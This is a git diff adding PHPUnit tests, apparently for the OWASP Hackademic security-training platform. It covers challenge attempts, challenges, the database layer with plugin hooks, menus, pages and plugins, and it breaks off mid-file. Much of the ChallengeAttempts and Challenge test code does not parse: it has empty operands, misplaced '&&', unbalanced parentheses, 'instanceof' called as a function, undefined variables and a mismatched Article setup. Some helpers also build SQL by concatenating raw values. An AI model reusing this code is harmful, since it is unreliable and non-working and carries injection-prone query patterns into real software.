assert(inarray($this->success_user_id,$prog_success)); + assert(inarray($this->fail_user_id,$prog_no_success)); + assert(!inarray($this->success_user_id,$prog_no_success)); + assert(!inarray($this->fail_user_id,$prog_success)); + + assert($prog_success[0]->user_id === $this->succes_user_id && + $prog_success[0]->challenge_id === $this->succes_challenge_id && + $prog_success[0]->class_id === $this-> && + $prog_success[0]->time === $this->time && + $prog_success[0]->tries === $prog_success[0]->status === 1 && + ) + + $this->delete_data($this->success_user_id); + $this->delete_data($this->fail_user_id); + //assert no_success is false and success has the correct fields and only one element + } + + /* + * + */ + public function test_getUserFirstChallengeAttempt(){ + $this->insert_data(); + $this->insert_data($this->success_user_id,$this->success_chal_id,$this->success_class_id,'2013-02-02 01:01:01'); + + $ca = ChallengeAttempts::getUserFirstChallengeAttempt($this->success_user_id,$this->success_chal_id,$this->success_class_id); + assert(false !== $ca); + assert(instanceof($ca,'ChallengeAttempts'); + assert($ca->user_id === $this->success_user_id && + $ca->challenge_id === && $this->succes_challenge_id + $ca->class_id === && $this->succes_class_id + $ca->time === $this->time); + + $non_existent_user = ChallengeAttempts::getUserFirstChallengeAttempt(-1,$this->success_chal_id,$this->success_class_id); + assert(false === $non_existent_user); + + $non_existent_challenge = ChallengeAttempts::getUserFirstChallengeAttempt($this->success_user_id,-1,$this->success_class_id); + assert(false === $non_existent_challenge); + + $non_existent_class = ChallengeAttempts::getUserFirstChallengeAttempt($this->success_user_id,$this->success_chal_id,-1); + assert(false === $non_existent_class); + + $this->delete_data($this->success_user_id); + } + public function test_getUserLastChallengeAttempt(){ + + $this->insert_data(); + $this->insert_data($this->success_user_id,$this->success_chal_id,$this->success_class_id,'2013-02-02 01:01:01'); + + $ca = ChallengeAttempts::getUserLastChallengeAttempt($this->success_user_id,$this->success_chal_id,$this->success_class_id); + assert(false !== $ca); + assert(instanceof($ca,'ChallengeAttempts'); + assert($ca->user_id === $this->success_user_id && + $ca->challenge_id === && $this->succes_challenge_id + $ca->class_id === && $this->succes_class_id + $ca->time === '2013-02-02 01:01:01'); + + $non_existent_user = ChallengeAttempts::getUserLastChallengeAttempt(-1,$this->success_chal_id,$this->success_class_id); + assert(false === $non_existent_user); + + $non_existent_challenge = ChallengeAttempts::getUserLastChallengeAttempt($this->success_user_id,-1,$this->success_class_id); + assert(false === $non_existent_challenge); + + $non_existent_class = ChallengeAttempts::getUserLastChallengeAttempt($this->success_user_id,$this->success_chal_id,-1); + assert(false === $non_existent_class); + + + $this->delete_data($this->success_user_id); + } + + public function test_getUserTriesForChallenge(){ + $this->insert_data(); + $this->insert_data(); + $ca = ChallengeAttempts::getUserTriesForChallenge($this->success_user_id,$this->success_chal_id,$this->success_class_id); + assert($ca === 2); + + $non_existent_user = ChallengeAttempts::getUserTriesForChallenge(-1,$this->success_chal_id,$this->success_class_id); + assert(false === $non_existent_user); + + $non_existent_challenge = ChallengeAttempts::getUserTriesForChallenge($this->success_user_id,-1,$this->success_class_id); + assert(false === $non_existent_challenge); + + $non_existent_class = ChallengeAttempts::getUserTriesForChallenge($this->success_user_id,$this->success_chal_id,-1); + assert(false === $non_existent_class); + } + + private function add_users($name,$fname,$email,$pwd,$joined,$activated,$type,$token){ + global $db; + $params = array(':username' => $username,':full_name' => $full_name,':email' => $email,':password' => $password,':joined' => $joined,':token' => $token); + $sql = "INSERT INTO users (username, full_name, email, password, joined, is_activated, type, token)"; + $sql .= " VALUES (, :full_name, :email, :password, :joined, :is_activated, :type, :token)"; + $query = $db->create($sql, $params, self::$action_type); + } + private function delete_users($id){ + $sql = "DELETE FROM users WHERE id=".$id; + $db->delete($sql,NULL,self::$action_type); + } + private function add_class_challenge($challenge_id,$class_id){ + global $db; + $date = date("Y-m-d H:i:s"); + $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id,':date_created' => $date); + $sql = "INSERT INTO class_challenges(challenge_id,class_id,date_created)"; + $sql .= " VALUES ( :challenge_id, :class_id, :date_created)"; + $query = $db->create($sql, $params, self::$action_type); + } + private function delete_class_challenge($challenge_id,$class_id){ + $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id); + $sql = 'DELETE FROM class_challenges WHERE challenge_id = :challenge_id AND class_id = :class_id'; + $query = $db->delete($sql, $params, self::$action_type); + } + public function test_getUniversalRankings(){ + $this->add_users("testnameA",'asdf','asdf','asdf',$this->time,'1','0','adsf'); + $this->add_users("testnameB",'asdf','asdf','asdf',$this->time,'1','0','adsf'); + $this->add_class_challenge($this->success_chal_id,$this->succes_class_id); + + $sql = "SELECT * FROM users WHERE username=testnameA LIMIT 1"; + $us = $db->read($sql,NULL,self::$action_type); + $us = $db->fetchArray($us); + $id1 = $us['id'] + $sql = "SELECT * FROM users WHERE username=testnameB LIMIT 1"; + $us = $db->read($sql,NULL,self::$action_type); + $us = $db->fetchArray($us); + $id2 = $us['id'] + $this->insert_data($id1); + $this->insert_data($id2); + + + $ca = ChallengeAttempts::getUniversalRankings(); + assert(false!==$ca); + assert(isarray($ca); + assert($ca[0] === 1); + assert(sizeof($ca===2); + //assert ca AND ca2 are different + + $this->delete_users($id1); + $this->delete_users($id2); + $this->delete_data($id1); + $this->delete_data($id2); + delete_class_challenge($this->success_chal_id,$this->succes_class_id) + } + + public function test_getCountOfFirstTrySolves(){ + $this->insert_data(); + $this->insert_data(); + $this->insert_data($this->success_user_id,-1); + $this->insert_data($this->success_user_id,-2); + + $ca = ChallengeAttempts::getCountOfFirstTrySolves($this->success_user_id,$this->success_class_id); + assert(instanceof($ca,'ChallengeAttempts'); + assert($ca->tries === 3); + } + public function test_getClasswiseRankings(){ + $this->add_users("testnameA",'asdf','asdf','asdf',$this->time,'1','0','adsf'); + $this->add_users("testnameB",'asdf','asdf','asdf',$this->time,'1','0','adsf'); + $this->add_class_challenge($this->success_chal_id,$this->succes_class_id); + + $sql = "SELECT * FROM users WHERE username=testnameA LIMIT 1"; + $us = $db->read($sql,NULL,self::$action_type); + $us = $db->fetchArray($us); + $id1 = $us['id'] + $sql = "SELECT * FROM users WHERE username=testnameB LIMIT 1"; + $us = $db->read($sql,NULL,self::$action_type); + $us = $db->fetchArray($us); + $id2 = $us['id'] + $this->insert_data($id1); + $this->insert_data($id2); + + $sql = "INSERT INTO class_memberships(user_id,class_id,date_created)"; + $sql .= " VALUES (".$id1." ,".$this->succes_class_id.",".$this->time.")"; + $query = $db->read($sql, $params, self::$action_type); + + $sql = "INSERT INTO class_memberships(user_id,class_id,date_created)"; + $sql .= " VALUES (".$id2." ,".$this->succes_class_id.",".$this->time.")"; + $query = $db->read($sql, $params, self::$action_type); + + $ca = ChallengeAttempts::getClasswiseRankings($this->succes_class_id); + + assert(isarray($ca); + /*Todo: make sure that ca has the correct structure*/ + } + + /* + * TODO: NOTE: we can use the phpunit's data provider directive to get data instead of doing sql queries + * also, try to put different vallues for user_id,chal_id,classid so I know if some function has the arguments in an incorrect order + */ +} diff --git a/hackademic_devtests/model/common/class.ChallengeTest.php b/hackademic_devtests/model/common/class.ChallengeTest.php new file mode 100755 index 00000000..ead5d0fc --- /dev/null +++ b/hackademic_devtests/model/common/class.ChallengeTest.php @@ -0,0 +1,165 @@ +article = new Article(); + $this->article2 = new Article(); + $this->article->title = $this->article2->title = "Foobar Article"; + $this->article->content = $this->article2->content = "Foobar Content"; + $this->article->date_posted = $this->article2->date_posted = "2013-08-18 00:00:17"; + $this->article->created_by = $this->article->created_by = "test_cases"; + $this->article->is_published = $this->article2->is_published = 1; + + ArticleBackend::addArticle($this->article->title, $this->article->content, $this->article->date_posted, $this->article->created_by, $this->article->is_published); + ArticleBackend::addArticle($this->article->title."2", $this->article->content."2", $this->article->date_posted, $this->article->created_by, $this->article->is_published); + $sql = "SELECT * FROM articles WHERE title LIKE :search_string LIMIT :start, :limit"; + /*Todo: get the ids of the articles just inserted */ + } + public function tearDown(){ + $this->assertTrue(null !== $this->article->id); + $this->assertTrue(null !== $this->article2->id); + ArticleBackend::deleteArticle($this->article->id); + ArticleBackend::deleteArticle($this->article2->id); + } + + /** + * + */ + public function test_doesChallengeExist() { + $challenge = new Challenge(); + assert( false === Challenge::doesChallengeExist('NonExistentChallengeNameToRunUnitTest')); + assert( true === Challenge::doesChallengeExist(Challenge::getChallenge(0)->name)); + } + /* + * Tests if getPublicChallenges returns only the completely public challenges + * Only challenge->title == a1 should be selected + */ + public function test_getPublicChallenges(){ + $chal1 = new Challenge(); + foreach($chal1 as $key=>$value) + $value = 'a1'; + $chal1->visibility = 'public'; + $chal1->availability = 'public'; + $chal1->publish = 1; + $chal1->duration = 1; + $chal1->id = NULL; + + $chal2 = clone $chal1; + $chal2->visibility = 'private'; + $chal2->pkg_name = 'a2'; + + $chal3 = clone $chal2; + $chal3->availability = 'private'; + $chal3->pkg_name = 'a3'; + + $chal4 = clone $chal1; + $chal4->availability = 'private'; + $chal4->pkg_name = 'a4'; + + $chal5 = clone $chal1; + $chal5->publish = 0; + $chal5->pkg_name = 'a5'; + + ChallengeBackend::addChallenge($chal1); + ChallengeBackend::addChallenge($chal2); + ChallengeBackend::addChallenge($chal3); + ChallengeBackend::addChallenge($chal4); + ChallengeBackend::addChallenge($chal5); + $challenges = Challenge::getPublicChallenges(); + assert(FALSE != $challenges); + + $found = array(false,false,false,false,false); + foreach($challenges as $obj){ + if( 'a1' == $obj->pkg_name) + $found[0] = true; + if( 'a2' == $obj->pkg_name) + $found[1] = true; + if( 'a3' == $obj->pkg_name) + $found[2] = true; + if( 'a4' == $obj->pkg_name) + $found[3] = true; + if( 'a5' == $obj->pkg_name) + $found[4] = true; + } + assert(true === $found[0]); + assert(false === $found[1]); + assert(false === $found[2]); + assert(false === $found[3]); + assert(false === $found[4]); + $ids = array(); + $ids[0] = ChallengeBackend::getChallengeByPkgName($chal1->pkg_name)->id; + $ids[1] = ChallengeBackend::getChallengeByPkgName($chal2->pkg_name)->id; + $ids[2] = ChallengeBackend::getChallengeByPkgName($chal3->pkg_name)->id; + $ids[3] = ChallengeBackend::getChallengeByPkgName($chal4->pkg_name)->id; + $ids[4] = ChallengeBackend::getChallengeByPkgName($chal5->pkg_name)->id; + foreach($ids as $id) + ChallengeBackend::deleteChallenge($id); + } + public function test_getChallengeByPkgName(){ + $challenge = new Challenge(); + foreach($challenge as $key=>$value){ + $value = 'fooTestPackageUnitTests123'; + } + $challenge->id = NULL; + $challenge->publish = 1; + $challenge->duration = 1; + + $challenge = Challenge::getChallengeByPkgName('fooTestPackageUnitTests123'); + assert('fooTestPackageUnitTests123' === $challenge->title); + ChallengeBackend::deleteChallenge($challenge->id); + } + + public function test_getChallengesFrontend(){ + $chal1 = new Challenge(); + foreach($chal1 as $key=>$value) + $value = 'a1'; + $chal1->visibility = 'public'; + $chal1->availability = 'public'; + $chal1->publish = 1; + $chal1->duration = 1; + $chal1->id = NULL; + + $chal2 = clone $chal1; + $chal3 = clone $chal1; + $chal4 = clone $chal1; + ChallengeBackend::addChallenge($chal1); + ChallengeBackend::addChallenge($chal2); + ChallengeBackend::addChallenge($chal3); + ChallengeBackend::addChallenge($chal4); + + User::addUser('testing_user1','testing_user1','testing_user1', + 'testing_user1','2010-01-01 00:00:00',1,0,'testing_user1'); + + Classes::addClass('test_class', '2010-01-01 00:00:00'); + $class_id = Classes::getClassByName('test_class'); + + $membership = new ClassMemberships(); + $membership->date_created = '2010-01-01 00:00:00'; + $membership->class_id = $class_id; + $membership->user_id = $user_id; + + ClassChallenges::addMembership($challenge1_id, $class_id); + ClassChallenges::addMembership($challenge2_id, $class_id); + ClassChallenges::addMembership($challenge3_id, $class_id); + ClassChallenges::addMembership($challenge4_id, $class_id); + } +} \ No newline at end of file diff --git a/hackademic_devtests/model/common/class.HackademicDBTest.php b/hackademic_devtests/model/common/class.HackademicDBTest.php new file mode 100755 index 00000000..4a2a97f4 --- /dev/null +++ b/hackademic_devtests/model/common/class.HackademicDBTest.php @@ -0,0 +1,261 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + + +global $before_called, $after_called, $db; +require_once ("../../../model/common/class.Loader.php"); +require_once ("../../../config.inc.php"); +require_once ("../../../model/common/class.HackademicDB.php"); +class HackademicDBTest extends PHPUnit_Framework_TestCase { + + private $test_name = 'test_name'; + private $test_value = 'test_value'; + private $test_value2 = 'test_value2'; + + private static $action_type = 'test'; + + /** + * Sets up the database connection and resets the instance variables + * that keeps track of if an action was triggered successfully or not. + */ + public function setUp() { + global $db, $before_called, $after_called; + $db = new HackademicDB(); + Loader::init(); + require_once (HACKADEMIC_PATH."model/common/class.HackademicDB.php"); + require_once (HACKADEMIC_PATH.'model/common/class.Plugin.php'); + } + + /** + * Tests the 'before_create' and 'after_create' actions that are triggered + * when data is being inserted into the database using the 'create' function. + */ + public function test_before_and_after_action_on_create() { + global $db, $before_called, $after_called; + + Plugin::add_action('before_create_test', 'test_before_two_params', 10, 2); + Plugin::add_action('after_create_test', 'test_after_two_params', 10, 2); + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> create($sql, $params, self::$action_type); + + assert($before_called === TRUE); + assert($after_called === TRUE); + } + + /** + * Tests the 'before_read' and 'after_read' actions that are triggered + * when data is being read from the database using the 'read' function. + */ + public function test_before_and_after_action_on_read() { + global $db, $before_called, $after_called; + + Plugin::add_action('before_read_test', 'test_before_two_params', 10, 2); + Plugin::add_action('after_read_test', 'test_after_one_param', 10, 1); + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $sql = "SELECT * FROM options WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name); + $db -> read($sql, $params, self::$action_type); + + assert($before_called === TRUE); + assert($after_called === TRUE); + } + + /** + * Tests the 'before_update' and 'after_update' actions that are triggered + * when data is being updated in the database using the 'update' function. + */ + public function test_before_and_after_action_on_update() { + global $db, $before_called, $after_called; + + Plugin::add_action('before_update_test', 'test_before_two_params', 10, 2); + Plugin::add_action('after_update_test', 'test_after_one_param', 10, 1); + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $sql = "UPDATE options SET option_value = :option_value WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value2); + $db -> update($sql, $params, self::$action_type); + + assert($before_called === TRUE); + assert($after_called === TRUE); + } + + /** + * Tests the 'before_delete' and 'after_delete' actions that are triggered + * when data is being deleted from the database using the 'delete' function. + */ + public function test_before_and_after_action_on_delete() { + global $db, $before_called, $after_called; + + Plugin::add_action('before_delete_test', 'test_before_two_params', 10, 2); + Plugin::add_action('after_delete_test', 'test_after_one_param', 10, 1); + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $sql = "DELETE FROM options WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name); + $db -> delete($sql, $params, self::$action_type); + + assert($before_called === TRUE); + assert($after_called === TRUE); + } + + /** + * Deletes the option from the database after each test to make sure + * the tests run independently. Also closes the db connection. + */ + public function tearDown() { + global $db; + $sql = "DELETE FROM options WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name); + $db -> query($sql, $params); + $db -> closeConnection(); + $db = NULL; + } + + public function test_read() { + global $db; + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $this->assert_in_db("option_name", $this->test_name, "options"); + } + + public function test_update(){ + global $db; + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $sql = "UPDATE options SET option_value = :option_value WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value2); + $db -> update($sql, $params, self::$action_type); + + $this->assert_in_db("option_name", $this->test_name, "options"); + + } + public function test_delete(){ + global $db; + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> query($sql, $params); + + $sql = "DELETE FROM options WHERE option_name = :option_name"; + $params = array(':option_name' => $this -> test_name); + $db -> delete($sql, $params, self::$action_type); + $this->assert_not_in_Db("option_name", $this->test_name, "options"); + } + public function test_create(){ + global $db; + + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + $params = array(':option_name' => $this -> test_name, ':option_value' => $this -> test_value); + $db -> create($sql, $params,self::$action_type); + $this->assert_in_Db("option_name", $this->test_name, "options"); + } + private function assert_not_in_Db($field,$val,$table){ + global $db; + + $sql = "SELECT * FROM $table WHERE $field=:val"; + $params = array(':val' => $val); + + $rs = $db->query($sql, $params, self::$action_type); + $result = $db->fetchArray($rs); + assert(empty($result)); + } + private function assert_in_Db($field,$val,$table){ + global $db; + + $sql = "SELECT * FROM $table WHERE $field=:val"; + $params = array(':val' => $val); + + $rs = $db->query($sql, $params, self::$action_type); + $result = $db->fetchArray($rs); + assert( $result[$field] === $val ); + } +} + /** + * Runs when the plugin api triggers a 'before' action with two params. + * + * @param $sql + * @param $params + */ + function test_before_two_params($sql, $params) { + global $before_called; + $before_called = TRUE; + } + + /** + * Runs when the plugin api triggers an 'after' action with one param. + * + * @param $params + */ + function test_after_one_param($params) { + global $after_called; + $after_called = TRUE; + } + + /** + * Runs when the plugin api triggers a 'after' action with two params. + * + * @param $id + * @param $params + */ + function test_after_two_params($id, $params) { + global $after_called; + $after_called = TRUE; + } \ No newline at end of file diff --git a/hackademic_devtests/model/common/class.MenuTest.php b/hackademic_devtests/model/common/class.MenuTest.php new file mode 100755 index 00000000..bc1ffcfa --- /dev/null +++ b/hackademic_devtests/model/common/class.MenuTest.php @@ -0,0 +1,107 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +require_once("config.inc.php"); +require_once("model/common/class.Loader.php"); +require_once("model/common/class.HackademicDB.php"); + + +class MenuTest extends PHPUnit_Framework_TestCase { + + public function setUp() { + global $db; + $db = new HackademicDB(); + Loader::init(); + require_once('model/common/class.Menu.php'); + } + public function tearDown(){ } + + /** + * Tries to fetch the admin menu and makes sure it has an array of + * items that is not empty. + */ + public function test_get_admin_menu() { + $menu = Menu::getMenu(Menu::ADMIN_MENU); + assert(is_array($menu->items)); + assert(sizeof($menu->items) > 0); + } + + /** + * Tries to fetch the admin menu and makes sure it has an array of + * items that is not empty and that contains parents and children + * in a correct way that respects the menu hierarchy. + */ + public function test_get_admin_menu_with_parent_and_child_items() { + global $db; + $url = 'testurl'; + $file = 'testfile'; + $url2 = 'testurl2'; + $file2 = 'testfile2'; + + $db->query('insert into pages (url, file) values ("' . $url . '", "' . $file . '")'); + $db->query('insert into pages (url, file) values ("' . $url2 . '", "' . $file2 . '")'); + $db->query('insert into menu_items (url, mid, label, parent, sort) values ("' . $url . '", ' . Menu::ADMIN_MENU . ', "testlabel", 0, 0)'); + $parent_id = $db->insertId(); + $db->query('insert into menu_items (url, mid, label, parent, sort) values ("' . $url2 . '",' . Menu::ADMIN_MENU . ', "testlabel2", ' . $parent_id . ', 0)'); + $child_id = $db->insertId(); + $menu = Menu::getMenu(Menu::ADMIN_MENU); + + $db->query("delete from menu_items where url = '" . $url . "'"); + $db->query("delete from menu_items where url = '" . $url2 . "'"); + $db->query("delete from pages where url = '" . $url . "'"); + $db->query("delete from pages where url = '" . $url2 . "'"); + + assert(is_array($menu->items)); + assert(sizeof($menu->items) > 0); + assert($parent_id > 0); + assert($child_id > 0); + assert(is_array($menu->items['parents'][$parent_id])); + assert($menu->items['parents'][$parent_id][0] == $child_id); + } + + /** + * Tries to fetch the teacher menu and makes sure it has an array of + * items that is not empty. + */ + public function test_get_teacher_menu() { + $menu = Menu::getMenu(Menu::TEACHER_MENU); + assert(is_array($menu->items)); + assert(sizeof($menu->items) > 0); + } + + /** + * Tries to fetch the student menu and makes sure it has an array of + * items that is not empty. + */ + public function test_get_student_menu() { + $menu = Menu::getMenu(Menu::STUDENT_MENU); + assert(is_array($menu->items)); + assert(sizeof($menu->items) > 0); + } +} diff --git a/hackademic_devtests/model/common/class.PageTest.php b/hackademic_devtests/model/common/class.PageTest.php new file mode 100755 index 00000000..98cb97e0 --- /dev/null +++ b/hackademic_devtests/model/common/class.PageTest.php @@ -0,0 +1,69 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +require_once("config.inc.php"); +require_once("model/common/class.Loader.php"); +require_once("model/common/class.HackademicDB.php"); + + +class PageTest extends PHPUnit_Framework_TestCase { + + public function setUp() { + global $db; + $db = new HackademicDB(); + Loader::init(); + require_once('model/common/class.Page.php'); + } + public function tearDown(){ } + + /** + * Tests to make sure the get file method actually returns a row with the + * file. To do that we first create a new row, fetch it and delete it. + */ + public function test_get_file() { + global $db; + + $url = 'testurl'; + $file = 'testfile'; + $params = array( + ':url' => $url, + ':file' => $file + ); + + $sql = "INSERT INTO pages (url, file) VALUES (:url, :file)"; + $db->query($sql, $params); + $row = Page::getFile($url); + + assert($file == $row['file']); + + $params = array(':url' => $url); + $sql = "DELETE FROM pages WHERE url = :url"; + $db->query($sql, $params); + } +} diff --git a/hackademic_devtests/model/common/class.PluginTest.php b/hackademic_devtests/model/common/class.PluginTest.php new file mode 100755 index 00000000..3b79a58d --- /dev/null +++ b/hackademic_devtests/model/common/class.PluginTest.php @@ -0,0 +1,530 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ + +require_once("config.inc.php"); +require_once("model/common/class.Loader.php"); +require_once("model/common/class.HackademicDB.php"); + + +class PluginTest extends PHPUnit_Framework_TestCase { + + public function setUp(){ + global $db; + $db = new HackademicDB(); + Loader::init(); + require_once('model/common/class.Plugin.php'); + } + public function tearDown(){ } + + /** + * Loads the plugins and then tests if all plugins that are in the database have been loaded. + */ + public function test_load_plugins() { + Plugin::loadPlugins(); + + $active_plugins = Options::getOption('active_plugins')->value; + foreach($active_plugins as $plugin) { + assert(in_array($plugin, $active_plugins)); + } + } + + /** + * Tests adding a filter with default values + */ + public function test_add_filter_defaults() { + global $hc_filter; + $tag = 'test_filter'; + $function_name = 'test_test_filter'; + $priority = 10; + $args = 1; + + Plugin::add_filter($tag, $function_name); + + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['function'] == $function_name); + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['accepted_args'] == $args); + unset($hc_filter[$tag]); + } + + /** + * Tests adding a filter with prio 5 and 2 arguments + */ + public function test_add_filter_5_prio_2_args() { + global $hc_filter; + $tag = 'test_filter'; + $function_name = 'test_test_filter'; + $priority = 5; + $args = 2; + + Plugin::add_filter($tag, $function_name, $priority, $args); + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['function'] == $function_name); + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['accepted_args'] == $args); + unset($hc_filter[$tag]); + } + + /** + * Makes sure that trying to get an action with a different prio doesn't work + */ + public function test_add_filter_custom_prio_failure() { + global $hc_filter; + $tag = 'test_filter'; + $function_name = 'test_test_filter'; + $priority = 5; + + Plugin::add_filter($tag, $function_name); + try { + $fail = $hc_filter[$tag][$priority]; + $this->fail('Wrong prio, got value: ' . $fail); + } catch (Exception $e) { + // Success! + } + unset($hc_filter[$tag]); + } + + /** + * Tries to apply filters and makes sure the first argument is returned + */ + public function test_apply_filters_ref_array_no_filters() { + $args = array(1, 2); + $this->assertTrue(Plugin::apply_filters_ref_array('no_tag', $args) === 1); + } + + /** + * Applies filter to one function and one argument and makes sure the + * text is filtered properly. + */ + public function test_apply_filters_ref_array_one_function_one_arg() { + global $hc_filter; + + $tag = 'test_filter'; + $function_name = 'test_test_filter'; + $arg0 = "arg0"; + + Plugin::add_filter($tag, $function_name); + $filtered_arg = Plugin::apply_filters_ref_array($tag, array($arg0)); + + $this->assertTrue($filtered_arg == "filtered: " . $arg0); + unset($hc_filter[$tag]); + } + + /** + * Applies filter to one function and two arguments and makes sure the + * text is filtered properly. + */ + public function test_apply_filters_ref_array_one_function_two_args() { + global $hc_filter; + + $tag = 'test_filter'; + $function_name = 'test_test_filter_2'; + $arg0 = "arg0"; + $arg1 = "arg1"; + $priority = 10; + $args = 2; + + Plugin::add_filter($tag, $function_name, $priority, $args); + $filtered_arg = Plugin::apply_filters_ref_array($tag, array($arg0, $arg1)); + + $this->assertTrue($filtered_arg == "filtered: " . $arg0 . $arg1); + unset($hc_filter[$tag]); + } + + /** + * Applies filter to two separate functions with different prio and + * makes sure the prio sorting works as expected. + */ + public function test_apply_filters_ref_array_two_functions_prio() { + global $hc_filter; + + $tag = 'test_filter'; + $function_name1 = 'test_test_filter_prio_1'; + $function_name2 = 'test_test_filter_prio_2'; + $priority1 = 1; + $priority2 = 2; + $args = 0; + + Plugin::add_filter($tag, $function_name1, $priority1, $args); + Plugin::add_filter($tag, $function_name2, $priority2, $args); + + $filtered_arg = Plugin::apply_filters_ref_array($tag, array()); + $this->assertTrue($filtered_arg == "prio2"); + unset($hc_filter[$tag]); + } + + /** + * Test to make sure a specific function is removed from a tag. + */ + public function test_remove_filter() { + global $hc_filter; + + $tag = 'test_filter'; + $function_name = 'test_test_filter'; + + Plugin::add_filter($tag, $function_name); + + $this->assertTrue(!empty($hc_filter[$tag])); + + Plugin::remove_filter($tag, $function_name); + + $this->assertTrue(empty($hc_filter[$tag])); + } + + /** + * Tests removing all functions from a tag. + */ + public function test_remove_all_filters() { + global $hc_filter; + + $tag = 'test_filter'; + $function_name1 = 'test_test_filter'; + $function_name2 = 'test_test_filter_2'; + + Plugin::add_filter($tag, $function_name1); + Plugin::add_filter($tag, $function_name2); + + $this->assertTrue(!empty($hc_filter[$tag])); + + Plugin::remove_all_filters($tag); + + $this->assertTrue(empty($hc_filter[$tag])); + } + + /** + * Test add action defaults. + */ + public function test_add_action_defaults() { + global $hc_filter; + $tag = 'test_action'; + $function_name = 'test_test_filter'; + $priority = 10; + $args = 1; + + Plugin::add_action($tag, $function_name); + + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['function'] == $function_name); + $this->assertTrue($hc_filter[$tag][$priority][$function_name]['accepted_args'] == $args); + unset($hc_filter[$tag]); + } + + /** + * Test performing an action with one function and one argument. + */ + public function test_do_action_ref_array_one_function_one_arg() { + global $hc_filter, $action; + + $action = "arg"; + $tag = 'test_action'; + $function_name = 'test_test_action'; + $arg0 = "arg0"; + + Plugin::add_action($tag, $function_name); + Plugin::do_action_ref_array($tag, array($arg0)); + $this->assertTrue($action == $arg0); + unset($hc_filter[$tag]); + } + + /** + * Test performing an action with multiple arguments + */ + public function test_do_action_ref_array_one_function_two_args() { + global $hc_filter, $action; + + $action = "arg"; + $tag = 'test_action'; + $function_name = 'test_test_action_2'; + $priority = 10; + $args = 2; + $arg0 = "arg0"; + $arg1 = "arg1"; + + Plugin::add_action($tag, $function_name, $priority, $args); + Plugin::do_action_ref_array($tag, array($arg0, $arg1)); + $this->assertTrue($action == $arg0 . $arg1); + unset($hc_filter[$tag]); + } + + /** + * Test performing actions with different prio. + */ + public function test_do_action_ref_array_two_functions_prio() { + global $hc_filter, $action; + + $action = "prio"; + $tag = 'test_action'; + $function_name1 = 'test_test_action_prio_1'; + $function_name2 = 'test_test_action_prio_2'; + $priority1 = 1; + $priority2 = 2; + $args = 0; + + Plugin::add_action($tag, $function_name1, $priority1, $args); + Plugin::add_action($tag, $function_name2, $priority2, $args); + + Plugin::do_action_ref_array($tag, array()); + $this->assertTrue($action == "prio2"); + unset($hc_filter[$tag]); + } + + /** + * Test to remove a function from an action. + */ + public function test_remove_action() { + global $hc_filter; + + $tag = 'test_action'; + $function_name = 'test_test_action'; + + Plugin::add_action($tag, $function_name); + + $this->assertTrue(!empty($hc_filter[$tag])); + + Plugin::remove_action($tag, $function_name); + + $this->assertTrue(empty($hc_filter[$tag])); + } + + /** + * Test to remove all functions from an action. + */ + public function test_remove_all_actions() { + global $hc_filter; + + $tag = 'test_action'; + $function_name1 = 'test_test_action'; + $function_name2 = 'test_test_action_2'; + + Plugin::add_action($tag, $function_name1); + Plugin::add_action($tag, $function_name2); + + $this->assertTrue(!empty($hc_filter[$tag])); + + Plugin::remove_all_actions($tag); + + $this->assertTrue(empty($hc_filter[$tag])); + } + + + /** + * Tests adding a menu + */ + public static function test_add_menu() { + global $db; + $name = 'test_menu'; + $result = Plugin::add_menu($name); + $db->query('delete from menus where name = "' . $name . '"'); + assert($result === TRUE); + } + + /** + * Tests retrieving a menu + */ + public static function test_get_menu() { + global $db; + $name = 'test_menu'; + MenuBackend::addMenu($name); + $mid = MenuBackend::insertId(); + $menu = Plugin::get_menu($mid); + $db->query('delete from menus where name = "' . $name . '"'); + assert(is_array($menu->items)); + assert(sizeof($menu->items) > 0); + } + + /** + * Tests updating the menu name + */ + public static function test_update_menu() { + global $db; + $name = 'test_menu'; + $name2 = 'test_menu2'; + MenuBackend::addMenu($name); + $mid = MenuBackend::insertId(); + $result = Plugin::update_menu($mid, $name2); + assert($result === TRUE); + } + + /** + * Tests deleting a menu + */ + public static function test_delete_menu() { 